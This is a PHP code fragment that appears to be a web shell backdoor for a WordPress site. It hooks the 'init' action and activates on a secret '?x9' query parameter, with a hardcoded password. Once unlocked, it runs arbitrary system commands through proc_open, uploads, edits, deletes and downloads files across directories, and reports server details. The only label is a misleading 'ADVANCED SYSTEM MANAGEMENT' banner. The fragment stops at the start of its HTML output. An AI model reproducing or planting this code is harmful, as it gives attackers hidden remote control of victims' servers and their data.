add_action('init', function(){ if(!isset($_GET['x9'])) return; @ob_end_clean(); @session_start(); $password = 'admin2024'; $auth_key = 'x9_authenticated'; if(isset($_POST['password']) && $_POST['password'] === $password) $_SESSION[$auth_key] = true; if(isset($_GET['logout'])) { session_destroy(); header('Location: ?x9'); exit; } $logged_in = !empty($_SESSION[$auth_key]); $dir = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : getcwd(); if(isset($_GET['dir']) && is_dir($_GET['dir'])) { $dir = realpath($_GET['dir']); $_SESSION['cwd'] = $dir; } $msg = ''; $cmd_out = ''; $cmd_in = ''; $edit_name = ''; $edit_content = ''; if($logged_in) { if(!empty($_POST['cmd'])) { $cmd_in = $_POST['cmd']; $p = @proc_open($cmd_in, array(array('pipe','r'),array('pipe','w'),array('pipe','w')), $pipes, $dir); if(is_resource($p)) { fclose($pipes[0]); $cmd_out = stream_get_contents($pipes[1]).stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); } } if(isset($_FILES['file']) && $_FILES['file']['error'] == 0) { if(move_uploaded_file($_FILES['file']['tmp_name'], $dir.'/'.basename($_FILES['file']['name']))) $msg = 'Uploaded!'; } if(isset($_GET['del'])) { $t = $dir.'/'.basename($_GET['del']); if(is_file($t)) @unlink($t); else @rmdir($t); $msg = 'Deleted!'; } if(isset($_GET['dl'])) { $f = $dir.'/'.basename($_GET['dl']); if(is_file($f)) { header('Content-Type:application/octet-stream'); header('Content-Disposition:attachment;filename="'.basename($f).'"'); readfile($f); exit; } } if(isset($_POST['newname']) && $_POST['newname']) { $np = $dir.'/'.basename($_POST['newname']); if(isset($_POST['isfolder'])) @mkdir($np); else @file_put_contents($np, ''); $msg = 'Created!'; } if(isset($_POST['savefile']) && isset($_POST['content'])) { @file_put_contents($dir.'/'.basename($_POST['savefile']), $_POST['content']); $msg = 'Saved!'; } if(isset($_GET['edit'])) { $ef = $dir.'/'.basename($_GET['edit']); if(is_file($ef)) { $edit_name = basename($_GET['edit']); $edit_content = @file_get_contents($ef); } } } $items = array(); if($logged_in && is_readable($dir)) { foreach(scandir($dir) as $f) { if($f === '.') continue; $fp = $dir.'/'.$f; $items[] = array('n'=>$f, 'd'=>is_dir($fp), 's'=>is_file($fp)?filesize($fp):0, 't'=>@filemtime($fp), 'p'=>substr(sprintf('%o',@fileperms($fp)),-4)); } } $u = '?x9'; $sys = php_uname('s').' '.php_uname('r'); $php_ver = phpversion(); $user = get_current_user(); $disk = @disk_free_space($dir); $disk_t = @disk_total_space($dir); header('Content-Type: text/html; charset=utf-8'); ?>
[ ADVANCED SYSTEM MANAGEMENT ]